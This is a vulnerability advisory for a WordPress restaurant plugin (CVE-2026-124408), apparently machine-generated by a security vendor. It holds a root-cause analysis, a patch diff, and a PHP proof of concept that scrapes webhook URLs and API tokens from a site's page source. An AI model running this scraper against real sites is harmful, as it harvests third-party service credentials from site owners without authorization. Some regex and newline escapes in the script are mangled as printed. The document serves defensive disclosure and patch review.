Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-124408: WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System <= 3.0.22 Missing Authorization PoC, Patch Analysis & Rule

Plugin wp-cafe
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.0.22
Patched Version 3.0.23
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-124408: WPCafe Restaurant Menu, Online Food Ordering & Table Booking System plugin versions up to and including 3.0.22 contain a missing authorization vulnerability. The flaw resides in the frontend asset handling logic, specifically in the `frontend-assets.php` file. The plugin exposes sensitive settings data (including API tokens and webhook URLs) to unauthenticated users via the `wpc_form_client_data` JavaScript object. This allows any visitor to extract configuration secrets. The CVSS score is 4.3 (medium severity), and the CWE is 862 (Missing Authorization).

The root cause is that the `frontend-assets.php` file calls `wp_localize_script` to inject the entire plugin settings array (`Settings::get()`) into the page as `wpc_form_client_data`. This occurs during the enqueue of the `wpc-public` script, which is loaded on the frontend for all users. The settings array includes sensitive keys such as `mailmint_webhook_url`, `zoho_flow_webhook_url`, `flowmattic_webhook_url`, and other API tokens. The plugin failed to restrict this data to authorized users. In the patched version, the code removes the `settings` key from the localized data and stores it in a separate, file-less script handle (`wpcafe-frontend-data`) that is only registered and localized for authenticated users via the `register_frontend_data()` method. The vulnerable code path is in `wp-cafe/core/assets/frontend-assets.php` around line 71, where `$form_data[‘settings’] = Settings::get();` is executed unconditionally.

An attacker can exploit this by visiting any page that loads the WPCafe frontend scripts (e.g., the site’s homepage or a page containing a reservation form). The attacker inspects the page source and extracts the `wpc_form_client_data` JavaScript object, which contains the `settings` property with sensitive configuration values. No authentication is required. The attack vector is network-based and requires no user interaction. The attacker can use the exposed webhook URLs and API tokens to perform unauthorized actions on third-party services, potentially leading to data exfiltration or service abuse.

The patch fixes the issue by removing the `settings` key from the `wpc_form_client_data` object. The settings are now localized to a separate script handle called `wpcafe-frontend-data`, which is only registered and localized when the `register_frontend_data()` method is called. This method is invoked from the `enqueue_scripts` method, but only for authenticated users. The patch also adds new webhook URLs to the list of sensitive settings. This ensures that unauthenticated visitors no longer receive the sensitive configuration data.

Successful exploitation allows an attacker to obtain API tokens and webhook URLs for various services (MailMint, Zoho Flow, FlowMattic, Pabbly, Zapier, FunnelKit, Uncanny Automator). This can lead to unauthorized access to these services, data leakage, and potentially further compromise of the restaurant’s operations. The attacker could send malicious payloads to the webhook endpoints, access customer data, or disrupt integrations. The impact is limited to information disclosure, but the exposed secrets could be used for more severe attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-cafe/assets/build/js/dashboard.asset.php
+++ b/wp-cafe/assets/build/js/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '31043a53befce6fe0ea0');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '8addda81128d61eced01');
--- a/wp-cafe/assets/build/js/frontend.asset.php
+++ b/wp-cafe/assets/build/js/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '2393858b2c1ccc4412c7');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '5e528923d4b2ec4c0504');
--- a/wp-cafe/assets/build/js/pointics-admin-booking.asset.php
+++ b/wp-cafe/assets/build/js/pointics-admin-booking.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '9ff6712a3b77aa90217b');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'd6f62f676feb02cc8eb8');
--- a/wp-cafe/assets/build/js/pointics-reservation-form.asset.php
+++ b/wp-cafe/assets/build/js/pointics-reservation-form.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'fe653cd864f4eac3b926');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '53b362f1179630330979');
--- a/wp-cafe/assets/build/js/restaurant-management.asset.php
+++ b/wp-cafe/assets/build/js/restaurant-management.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '586d8f3f5d6f947855dc');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'a46dca54dd3b5c409339');
--- a/wp-cafe/assets/build/js/vendor-forms.asset.php
+++ b/wp-cafe/assets/build/js/vendor-forms.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react'), 'version' => '7916d6cfe0714085ffc1');
+<?php return array('dependencies' => array('react'), 'version' => '6e32292c7d3a60ae356d');
--- a/wp-cafe/core/assets/frontend-assets.php
+++ b/wp-cafe/core/assets/frontend-assets.php
@@ -4,7 +4,6 @@
 if ( ! defined( 'ABSPATH' ) ) exit;

 use WpCafeSession;
-use WpCafeSettings;

 /**
  * Manage all frontend scripts and styles
@@ -60,6 +59,11 @@
         // the page-type gate below.
         $this->enqueue_i18n_loader();

+        // Same reason: a form placed in a theme template (FSE) or pulled in by
+        // Pro still loads its scripts when the gate below says no, and needs
+        // this data with them.
+        $this->register_frontend_data();
+
         // BE1/FE1/FE2: only load the (historically sitewide) card/grid CSS, the
         // jQuery public bundle and the forced WC scripts where WP Cafe actually
         // renders. Registration stays unconditional in register_styles_scripts(),
@@ -106,8 +110,52 @@
         }


+        wp_localize_script( 'wpc-location-selector', 'wpcLocation', [
+            'ajaxUrl'          => admin_url('admin-ajax.php'),
+            'nonce'            => wp_create_nonce( 'wpc_location_nonce' ),
+            'selectedLocation' => Session::get('selected_location'),
+            'wc_cart_url'      => function_exists( 'wc_get_cart_url' ) ? wc_get_cart_url() : '',
+            'require_location'          => wpc_get_option('require_location'),
+            'location_selector'         => wpc_get_option('display_location_selector', 'dont_show'),
+            'location_selector_pages'   => wpc_get_option('location_selector_pages'),
+            'current_page_id'           => get_the_ID(),
+            'wc_cart_empty'             => function_exists( 'WC' ) && WC()->cart ? WC()->cart->is_empty() : true,
+        ] );
+    }
+
+    /**
+     * Register the data our frontend bundles read (window.wpCafe,
+     * window.wpc_form_client_data) on a file-less handle they all depend on.
+     *
+     * WordPress prints a dependency's data whenever a script that needs it
+     * prints, so the data follows the scripts onto any page, once. Without it
+     * the reservation form fell back to guesses (24h time shown as "7:00 PM",
+     * "$" for every currency) or crashed on pages the gate skips.
+     *
+     * @return void
+     */
+    private function register_frontend_data() {
+        wp_register_script( 'wpcafe-frontend-data', false, [], WPCAFE_VERSION, true );
+        wp_localize_script( 'wpcafe-frontend-data', 'wpc_form_client_data', $this->get_form_client_data() );
+        wp_localize_script( 'wpcafe-frontend-data', 'wpCafe', Localize::get_frontend() );
+
+        wp_set_script_translations(
+            'wpcafe-frontend-scripts',
+            'wp-cafe' // text domain
+        );
+    }
+
+    /**
+     * Data for the jQuery public bundle (window.wpc_form_client_data).
+     *
+     * Printed in the page source for every visitor, so never put the settings
+     * blob here: it holds API tokens and webhook URLs. The bundle only reads
+     * the AJAX URL and nonces.
+     *
+     * @return array
+     */
+    private function get_form_client_data() {
         $form_data                        = [];
-        $form_data['settings']            = Settings::get();
         $form_data['wpc_ajax_url']        = admin_url( 'admin-ajax.php' );
         $form_data['wpc_validation_message'] = [
             'error_text'    => esc_html__('Please fill the field', 'wp-cafe'),
@@ -133,25 +181,8 @@
             'wpc_seat_capacity_nonce'           => wp_create_nonce('wpc_seat_capacity_nonce'),
             'wpc_food_menu_paginate_nonce'      => wp_create_nonce('wpc_food_menu_paginate_nonce'),
         ];
-        wp_localize_script( 'wpc-public', 'wpc_form_client_data', $form_data );
-        wp_localize_script( 'wpc-public', 'wpCafe',  Localize::get_frontend() );

-        wp_localize_script( 'wpc-location-selector', 'wpcLocation', [
-            'ajaxUrl'          => admin_url('admin-ajax.php'),
-            'nonce'            => wp_create_nonce( 'wpc_location_nonce' ),
-            'selectedLocation' => Session::get('selected_location'),
-            'wc_cart_url'      => function_exists( 'wc_get_cart_url' ) ? wc_get_cart_url() : '',
-            'require_location'          => wpc_get_option('require_location'),
-            'location_selector'         => wpc_get_option('display_location_selector', 'dont_show'),
-            'location_selector_pages'   => wpc_get_option('location_selector_pages'),
-            'current_page_id'           => get_the_ID(),
-            'wc_cart_empty'             => function_exists( 'WC' ) && WC()->cart ? WC()->cart->is_empty() : true,
-        ] );
-
-        wp_set_script_translations(
-            'wpcafe-frontend-scripts',
-            'wp-cafe' // text domain
-        );
+        return $form_data;
     }

     /**
@@ -170,12 +201,12 @@
                 'src'       => wpcafe()->assets_url . '/build/js/frontend.js',
                 // wpcafe-vendor-forms: bundle externalizes rhf/zod/resolvers to
                 // the shared global, so the provider must print first.
-                'deps'      => ['wp-i18n', 'wp-data','wp-api-fetch', 'wpcafe-vendor-forms'],
+                'deps'      => ['wp-i18n', 'wp-data','wp-api-fetch', 'wpcafe-vendor-forms', 'wpcafe-frontend-data'],
                 'in_footer' => true,
             ],
             'wpcafe-restaurant-management-scripts' => [
                 'src'       => wpcafe()->assets_url . '/build/js/restaurant-management.js',
-                'deps'      => ['wp-i18n', 'wp-element', 'wp-api-fetch', 'wpcafe-vendor-forms'],
+                'deps'      => ['wp-i18n', 'wp-element', 'wp-api-fetch', 'wpcafe-vendor-forms', 'wpcafe-frontend-data'],
                 'in_footer' => true,
             ],
             'wpc-flatpicker'     => [
@@ -185,7 +216,7 @@
             ],
             'wpc-public'    => [
                 'src'       => wpcafe()->assets_url . '/build/js/wpc-public.js',
-                'deps'      => ['jquery'],
+                'deps'      => ['jquery', 'wpcafe-frontend-data'],
                 'in_footer' => true,
             ],
             // Popup behaviour (FE2). Split out of wpc-public.js — opener +
--- a/wp-cafe/core/reservation/shortcodes/reservation-form.php
+++ b/wp-cafe/core/reservation/shortcodes/reservation-form.php
@@ -56,13 +56,14 @@

         ob_start();

+        wpc_print_reservation_form_skeleton_styles();
         ?>
 <div class="wpc-reservation-form-root" data-component="wpc-reservation-form"
     data-date-selector="<?php echo esc_attr( $atts['date_selector'] ); ?>"
     data-reservation-style="<?php echo esc_attr( $atts['reservation_style'] ); ?>"
     data-form-display-type="<?php echo esc_attr( $atts['form_display_type'] ); ?>"
     data-image-link="<?php echo esc_url( $atts['image_link'] ); ?>">
-
+    <?php echo wpc_reservation_form_skeleton( $atts ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- runs wp_kses internally. ?>
 </div>
 <?php
         return ob_get_clean();
--- a/wp-cafe/core/settings/controllers/settings-controller.php
+++ b/wp-cafe/core/settings/controllers/settings-controller.php
@@ -71,6 +71,10 @@
         'mailmint_webhook_url',
         'zoho_flow_webhook_url',
         'flowmattic_webhook_url',
+        'pabbly_webhook_url',
+        'zapier_webhook_url',
+        'funnelkit_webhook_url',
+        'uncanny_automator_webhook_url',
     ];

     /**
--- a/wp-cafe/templates/reservation/form-skeleton.php
+++ b/wp-cafe/templates/reservation/form-skeleton.php
@@ -0,0 +1,47 @@
+<?php
+/**
+ * Reservation form placeholder, printed inside the mount box so the page does not
+ * jump while the React form loads. React shows this same markup until the real
+ * form is ready (assets/src/frontend/ServerSkeleton.tsx).
+ *
+ * @var array $layout From wpc_reservation_skeleton_layout().
+ */
+defined( 'ABSPATH' ) || exit;
+// phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- template scope; included inside wpc_reservation_form_skeleton(), not real globals.
+
+$section_class = 'wpc-rfs-section' . ( 'style-2' === $layout['style'] ? ' wpc-rfs-style-2' : '' );
+$layout_class  = 'wpc-rfs-layout' . ( $layout['calendar'] ? ' wpc-rfs-layout--calendar' : '' );
+?>
+<div class="wpc-rfs wpc-rfs-pulse">
+	<span class="wpc-rfs-sr" role="status"><?php esc_html_e( 'Loading reservation form', 'wp-cafe' ); ?></span>
+	<div class="<?php echo esc_attr( $layout_class ); ?>" aria-hidden="true">
+		<?php if ( $layout['calendar'] ) : ?>
+			<span class="wpc-rfs-bar wpc-rfs-calendar"></span>
+		<?php endif; ?>
+		<div class="wpc-rfs-card">
+			<?php if ( $layout['wizard_steps'] > 1 ) : ?>
+				<span class="wpc-rfs-bar wpc-rfs-steps"></span>
+			<?php endif; ?>
+			<?php foreach ( $layout['sections'] as $section ) : ?>
+				<div class="<?php echo esc_attr( $section_class ); ?>">
+					<?php if ( $section['label'] ) : ?>
+						<span class="wpc-rfs-bar wpc-rfs-heading"></span>
+					<?php endif; ?>
+					<?php foreach ( $section['fields'] as $type ) : ?>
+						<div class="wpc-rfs-field wpc-rfs-field--<?php echo esc_attr( sanitize_html_class( $type ) ); ?>">
+							<span class="wpc-rfs-bar wpc-rfs-label"></span>
+							<span class="wpc-rfs-bar wpc-rfs-input"></span>
+						</div>
+					<?php endforeach; ?>
+				</div>
+			<?php endforeach; ?>
+			<?php if ( $layout['payments'] ) : ?>
+				<span class="wpc-rfs-bar wpc-rfs-payments"></span>
+			<?php endif; ?>
+			<div class="wpc-rfs-actions">
+				<span class="wpc-rfs-bar"></span>
+				<span class="wpc-rfs-bar"></span>
+			</div>
+		</div>
+	</div>
+</div>
--- a/wp-cafe/utils/helpers.php
+++ b/wp-cafe/utils/helpers.php
@@ -440,6 +440,161 @@
     }
 }

+if ( ! function_exists( 'wpc_reservation_skeleton_layout' ) ) {
+    /**
+     * Shape of the reservation form placeholder, read from the same settings the
+     * React form uses, so the placeholder lands close to the real form's height.
+     *
+     * Leaves out what PHP cannot know in advance: pro's visual table (it loads on
+     * its own later), location-specific booking amounts and waitlist mode.
+     *
+     * @param array         $atts            Shortcode attributes: form_display_type, date_selector, reservation_style.
+     * @param callable|null $field_available Decides whether a shown field can render; null = needs pro for
+     *                                       `isPro` fields and an enabled module for fields that name one.
+     * @return array{style:string,calendar:bool,wizard_steps:int,sections:array<int,array{label:bool,fields:string[]}>,payments:bool}
+     */
+    function wpc_reservation_skeleton_layout( array $atts, ?callable $field_available = null ): array {
+        $known           = [ 'text', 'email', 'tel', 'number', 'date', 'time', 'textarea', 'select', 'location', 'radio', 'checkbox', 'food_menu' ];
+        $field_available = $field_available ?? static function ( array $field ): bool {
+            if ( ! empty( $field['isPro'] ) && ! function_exists( 'wpcafe_pro' ) ) {
+                return false;
+            }
+            return empty( $field['module'] ) || wpc_is_module_enable( (string) $field['module'] );
+        };
+        $calendar        = 'calendar' === ( $atts['date_selector'] ?? '' );
+        $steps           = wpc_get_option( 'reservation_form_customization', [] );
+
+        if ( ! is_array( $steps ) || empty( $steps ) ) {
+            // Visible fields of getReservationFormCustomization() in
+            // ReservationFormProvider.tsx, the list React falls back to. Keep in sync.
+            $fallback = [ 'date' => 'date', 'start_time' => 'time', 'end_time' => 'time', 'name' => 'text', 'email' => 'email', 'phone' => 'tel', 'total_guest' => 'number', 'notes' => 'textarea' ];
+            $steps    = [ [ 'fields' => array_map(
+                static fn( $id, $type ) => [ 'id' => $id, 'type' => $type, 'visible' => true ],
+                array_keys( $fallback ),
+                $fallback
+            ) ] ];
+        }
+        $steps = array_values( array_filter( $steps, 'is_array' ) );
+
+        // React reads an empty display type as "wizard", and only shows the wizard with more than one step.
+        $wizard = 'wizard' === ( ( $atts['form_display_type'] ?? '' ) ?: 'wizard' ) && count( $steps ) > 1;
+
+        $sections = [];
+        $has_food = false;
+        foreach ( $wizard ? array_slice( $steps, 0, 1 ) : $steps as $step ) {
+            $fields = [];
+            foreach ( is_array( $step['fields'] ?? null ) ? $step['fields'] : [] as $field ) {
+                $type = is_array( $field ) ? (string) ( $field['type'] ?? '' ) : '';
+                if ( empty( $field['visible'] ) || ! in_array( $type, $known, true ) || ! $field_available( $field ) ) {
+                    continue;
+                }
+                // The calendar panel replaces the date field.
+                if ( $calendar && 'date' === ( $field['id'] ?? '' ) ) {
+                    continue;
+                }
+                $has_food = $has_food || 'food_menu' === $type;
+                $fields[] = $type;
+            }
+            if ( $fields ) {
+                $sections[] = [ 'label' => ! $wizard && count( $steps ) > 1, 'fields' => $fields ];
+            }
+        }
+
+        return [
+            'style'        => 'style-2' === ( $atts['reservation_style'] ?? '' ) ? 'style-2' : 'style-1',
+            'calendar'     => $calendar,
+            'wizard_steps' => $wizard ? count( $steps ) : 0,
+            'sections'     => $sections,
+            // Same rule as usePaymentApi: a booking fee, or a food menu that can take a deposit.
+            'payments'     => ! $wizard && ( (float) wpc_get_option( 'reservation_booking_amount', 0 ) > 0 || $has_food ),
+        ];
+    }
+}
+
+if ( ! function_exists( 'wpc_reservation_form_skeleton_css' ) ) {
+    /**
+     * Styles for the reservation form placeholder. Printed inline before the
+     * mount box because classic themes load frontend.css in the footer, after it.
+     *
+     * A constant with no "<", so it can never close its style tag.
+     *
+     * @return string Plain CSS.
+     */
+    function wpc_reservation_form_skeleton_css(): string {
+        return '.wpc-rfs{display:block;width:100%;--wpc-rfs-bar:rgba(128,128,128,.18);--wpc-rfs-line:rgba(128,128,128,.25)}'
+            . '.wpc-rfs *{box-sizing:border-box}'
+            . '.wpc-rfs-sr{position:absolute;width:1px;height:1px;margin:-1px;padding:0;border:0;overflow:hidden;clip:rect(0 0 0 0);white-space:nowrap}'
+            . '.wpc-rfs-card{border:1px solid var(--wpc-rfs-line);border-radius:12px;padding:24px}'
+            . '.wpc-rfs-bar{display:block;background:var(--wpc-rfs-bar);border-radius:6px}'
+            . '.wpc-rfs-pulse .wpc-rfs-bar{animation:wpc-rfs-pulse 1.5s ease-in-out infinite}'
+            . '@keyframes wpc-rfs-pulse{50%{opacity:.5}}'
+            . '@media (prefers-reduced-motion:reduce){.wpc-rfs-pulse .wpc-rfs-bar{animation:none}}'
+            . '.wpc-rfs-layout{display:grid;gap:20px}'
+            . '@media (min-width:1024px){.wpc-rfs-layout--calendar{grid-template-columns:1fr 1fr;align-items:start}}'
+            . '.wpc-rfs-calendar{height:360px}'
+            . '.wpc-rfs-steps{height:92px;margin-bottom:32px}'
+            . '.wpc-rfs-section{display:flex;flex-direction:column;gap:20px}'
+            . '.wpc-rfs-section + .wpc-rfs-section{margin-top:24px}'
+            . '.wpc-rfs-style-2{flex-direction:row;flex-wrap:wrap}'
+            . '.wpc-rfs-style-2 .wpc-rfs-field{flex:1 1 0;min-width:210px}'
+            . '.wpc-rfs-style-2 .wpc-rfs-heading,.wpc-rfs-style-2 .wpc-rfs-field--textarea,.wpc-rfs-style-2 .wpc-rfs-field--food_menu{flex:0 0 100%}'
+            . '.wpc-rfs-heading{height:24px;width:40%}'
+            . '.wpc-rfs-label{height:14px;width:35%;margin:3px 0 10px}'
+            . '.wpc-rfs-input{height:44px}'
+            . '.wpc-rfs-field--textarea .wpc-rfs-input{height:96px}'
+            . '.wpc-rfs-field--food_menu .wpc-rfs-input{height:500px}'
+            . '.wpc-rfs-payments{height:175px;margin-top:20px}'
+            . '.wpc-rfs-actions{display:flex;flex-wrap:wrap;justify-content:space-between;gap:16px;margin-top:80px}'
+            . '.wpc-rfs-actions .wpc-rfs-bar{height:44px;width:210px}';
+    }
+}
+
+if ( ! function_exists( 'wpc_print_reservation_form_skeleton_styles' ) ) {
+    /**
+     * Prints the placeholder styles, at most once per request: wp_print_styles()
+     * skips a handle it already printed, so two forms on a page share one block.
+     * Call it right before the mount box, never inside it (React empties the box).
+     *
+     * @return void
+     */
+    function wpc_print_reservation_form_skeleton_styles(): void {
+        if ( ! wp_style_is( 'wpc-rfs', 'registered' ) ) {
+            wp_register_style( 'wpc-rfs', false, [], WPCAFE_VERSION );
+            wp_add_inline_style( 'wpc-rfs', wpc_reservation_form_skeleton_css() );
+        }
+        wp_print_styles( 'wpc-rfs' );
+    }
+}
+
+if ( ! function_exists( 'wpc_reservation_form_skeleton' ) ) {
+    /**
+     * Placeholder markup for one reservation form, shaped from the form settings.
+     * Call wpc_print_reservation_form_skeleton_styles() before the mount box too.
+     *
+     * @param array $atts Shortcode attributes, see wpc_reservation_skeleton_layout().
+     * @return string Markup, already passed through wp_kses. Empty if the template is missing.
+     */
+    function wpc_reservation_form_skeleton( array $atts ): string {
+        $template = WPCAFE_DIR . '/templates/reservation/form-skeleton.php';
+        if ( ! file_exists( $template ) ) {
+            return '';
+        }
+
+        $layout = wpc_reservation_skeleton_layout( $atts );
+
+        ob_start();
+        include $template;
+
+        return wp_kses(
+            (string) ob_get_clean(),
+            [
+                'div'  => [ 'class' => true, 'aria-hidden' => true ],
+                'span' => [ 'class' => true, 'role' => true ],
+            ]
+        );
+    }
+}
+
 if ( ! function_exists( 'wpcafe_frontend_shortcode_tags' ) ) {
     /**
      * Allowlist of shortcode tags whose presence on a page requires WP Cafe's
--- a/wp-cafe/utils/wpc-utilities.php
+++ b/wp-cafe/utils/wpc-utilities.php
@@ -683,6 +683,23 @@
 		return self::run_product_query( $params );
 	}

+	/**
+	 * Count the products product_query() would return, without building them.
+	 *
+	 * Same params and the same `wpc_product_query_args` filter as the list, so
+	 * the total always matches what the menu can show. Page and page size are
+	 * ignored. A search needs the caller's `posts_where` filter, as with the list.
+	 *
+	 * @param array $params Same params as product_query().
+	 * @return int
+	 */
+	public static function count_products( $params ) {
+		// total_count would skip the search branch, so count through the normal one.
+		$params['total_count'] = false;
+		$params['count_only']  = true;
+		return self::run_product_query( $params )['total_products'];
+	}
+
 	private static function run_product_query( $params ){
 		$defaults = array(
 			'post_type'     => 'product',
@@ -696,6 +713,7 @@
 			'wpc_location'  => null,
 			'paginate'      => false,
 			'suppress_filter' => false,
+			'count_only'    => false,
 		);

 		$parsed = wp_parse_args( $params, $defaults );
@@ -795,9 +813,40 @@
 		// Let WCML scope the query to the current language.
 		$args['suppress_filters'] = false;

+		if ( $parsed['count_only'] ) {
+			// One ID plus SQL_CALC_FOUND_ROWS gives the total; no product is built.
+			$args['posts_per_page'] = 1;
+			$args['no_found_rows']  = false;
+			unset( $args['paged'] );
+			$query = new WP_Query( $args );
+
+			return [
+				'products'       => [],
+				'total_pages'    => 0,
+				'current_page'   => 0,
+				'total_products' => (int) $query->found_posts,
+			];
+		}
+
 		$query    = new WP_Query( $args );
-		$ids      = $query->posts;
-		$products = $ids ? array_filter( array_map( 'wc_get_product', $ids ) ) : [];
+		$ids      = array_values( array_filter( array_map( 'absint', $query->posts ) ) );
+		$products = [];
+
+		if ( $ids ) {
+			/*
+			 * 'fields' => 'ids' skips WP_Query's cache priming, so each product (and
+			 * each card image) would load its row, meta and terms in separate queries.
+			 * Load them in batches; IDs already in the object cache are skipped.
+			 */
+			_prime_post_caches( $ids, true, true );
+			$products = array_filter( array_map( 'wc_get_product', $ids ) );
+
+			// Ask the products, not the post meta, so WooCommerce image filters apply.
+			$image_ids = array_unique( array_filter( array_map( static fn( $product ) => absint( $product->get_image_id() ), $products ) ) );
+			if ( $image_ids ) {
+				_prime_post_caches( $image_ids, false, true );
+			}
+		}

 		return [
 			'products'     => $products,
--- a/wp-cafe/vendor/composer/installed.php
+++ b/wp-cafe/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themewinter/wp-cafe',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '5ab6dadab046f364b244bdce5629565c3151b749',
+        'reference' => 'c058182e4b010c387b45ee67bce1113e215b4854',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -57,7 +57,7 @@
         'themewinter/wp-cafe' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '5ab6dadab046f364b244bdce5629565c3151b749',
+            'reference' => 'c058182e4b010c387b45ee67bce1113e215b4854',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wp-cafe/wpcafe.php
+++ b/wp-cafe/wpcafe.php
@@ -3,7 +3,7 @@
  * Plugin Name:        WPCafe - Restaurant Menu, Online Food Ordering & Table Booking System
  * Plugin URI:         https://product.themewinter.com/wpcafe
  * Description:        WordPress Restaurant solution plugin to launch Restaurant Websites.
- * Version:            3.0.22
+ * Version:            3.0.23
  * Author:             Themewinter
  * Author URI:         http://themewinter.com/
  * License:            GPL-2.0+
@@ -28,7 +28,7 @@
 define( 'WPCAFE_PLUGIN_NAME', 'WPCafe' );
 defined( 'WPCAFE_FILE' ) || define( 'WPCAFE_FILE', __FILE__ );
 defined( 'WPCAFE_DIR' ) || define( 'WPCAFE_DIR', __DIR__ );
-defined( 'WPCAFE_VERSION' ) || define( 'WPCAFE_VERSION', '3.0.22' );
+defined( 'WPCAFE_VERSION' ) || define( 'WPCAFE_VERSION', '3.0.23' );

 add_action( 'init', [ Compatibility_Handler::class, 'init' ] );
 add_action( 'init', [ Compatibility_Handler::class, 'register_hooks' ] );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124408 - WPCafe - Restaurant Menu, Online Food Ordering & Table Booking System <= 3.0.22 - Missing Authorization

// This PoC demonstrates unauthenticated extraction of sensitive plugin settings
// from the frontend page source.

// Configuration
$target_url = 'http://example.com/'; // Replace with the target WordPress site URL

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("Failed to retrieve page. HTTP code: $http_coden");
}

// Extract the wpc_form_client_data JavaScript object
// It is typically in a <script> tag like: var wpc_form_client_data = {...};
if (preg_match('/vars+wpc_form_client_datas*=s*({.*?});/s', $response, $matches)) {
    $json = $matches[1];
    // The object may not be valid JSON (e.g., single quotes), but often is.
    $data = json_decode($json, true);
    if (json_last_error() !== JSON_ERROR_NONE) {
        // Attempt to fix common issues: replace single quotes with double quotes (naive)
        $json = str_replace("'", '"', $json);
        $data = json_decode($json, true);
    }
    if ($data && isset($data['settings'])) {
        echo "[+] Extracted sensitive settings:n";
        print_r($data['settings']);
    } else {
        echo "[-] Settings not found in wpc_form_client_data.n";
    }
} else {
    echo "[-] wpc_form_client_data not found on the page.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.